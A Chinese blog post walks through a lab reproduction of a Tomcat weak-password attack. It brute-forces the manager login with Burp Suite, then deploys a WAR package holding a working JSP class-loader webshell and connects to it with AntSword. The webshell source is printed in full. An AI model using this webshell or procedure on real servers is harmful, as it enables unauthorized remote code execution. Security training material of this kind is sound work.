前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞复现 - - -Tomcat弱口令漏洞

漏洞复现 - - -Tomcat弱口令漏洞

作者头像
干掉芹菜
发布2022-11-19 14:26:45
2.2K0
发布2022-11-19 14:26:45
举报
文章被收录于专栏:网络安全615网络安全615

目录

一,简介

二,Tomcat弱口令

1 tomcat发现

 2 使用bp抓取登录包

 3 Burpsuite爆破

1.将抓到的包发送到爆破模块,快捷键ctrl+i

 2,选用自定义迭代器

 3,开始爆破

三, 后台Getshell

 1,准备一个jsp木马

2,制作一个war包

 3,部署war包到Tomcat Web应用程序管理者

一,简介

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf omcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。 Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。

二,Tomcat弱口令

1 tomcat发现

 2 使用bp抓取登录包

 发现账户密码都是base64加密

解密发现是admin:admin

 3 Burpsuite爆破

1.将抓到的包发送到爆破模块,快捷键ctrl+i

简单介绍一下爆破模块

右侧功能 add             添加标记 Clear          清除标记 auto          自动在等于号后面添加标记 refresh       刷新

attack type:攻击类型 1. sniper :每个个字典对应每个参数值 2. battering ram :不管选择爆破多少个参数值都是使用同一个字典 3. pitchfork :是字典一对应参数值一,字典二对应参数值二,爆破的次数取决于字典的大小 4. cluster bomb :交叉爆破(顾名思义,交叉爆破产生的字典非常庞大)

 2,选用自定义迭代器

在position选择表1,输入用户名字典

 payload type选项简介 Simple list :简单字典 Runtim file :运行文件 Custom iterator :自定义迭代器 Character sub :字符串替换

 在2输入:

 在3输入密码字典

在 payload processing添加base64编码格式

Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉

 3,开始爆破

Start attack 进行爆破得到用户密码

看到回显200说明登录成功,对用户名密码进行解码

 登陆成功

三, 后台Getshell

登录到后台后可以通过部署 war 包进行 getshell

war 包是 Sun 提出的一种 web 应用程序格式。它与 jar 类似,是很多文件的压缩包。war 包中的文件按照一定目录结构来组织。 一般其根目录下包含有 html 和 jsp 文件,或者包含有这两种文件的目录,另外还有 WEB-INF 目录。通常在 WEB-INF 目录下含有一个 web.xml 文件和一个 classes 目录。web.xml 是这个应用的配置文件,而 classes 目录下则包含编译好的 servlet 类和 jsp,或者 servlet 所依赖的其他类(如 JavaBean)。通常这些所依赖的类也可以打包成 jar 包放在 WEB-INF 下的 lib 目录下。

 1,准备一个jsp木马

代码语言:javascript
复制
<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

2,制作一个war包

jar cvf tomcat.war tomcat.jsp

 3,部署war包到Tomcat Web应用程序管理者

如图所示

 应用列表已经出现上传的war包

 访问一个jsp文件

http://127.0.0.1:8080/tomcat/tomcat.jsp

如图所示说明部署成功 

 通过中国蚁剑添加数据,输入jsp木马中的密码cmd

 链接成功

 访问查看到了本机的所有文件

  tomcat靶场部署完成

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-08-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一,简介
  • 二,Tomcat弱口令
    • 1 tomcat发现
      •  2 使用bp抓取登录包
        •  3 Burpsuite爆破
          • 1.将抓到的包发送到爆破模块,快捷键ctrl+i
          •  2,选用自定义迭代器
          •  3,开始爆破
      • 三, 后台Getshell
        •  1,准备一个jsp木马
          • 2,制作一个war包
            •  3,部署war包到Tomcat Web应用程序管理者
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档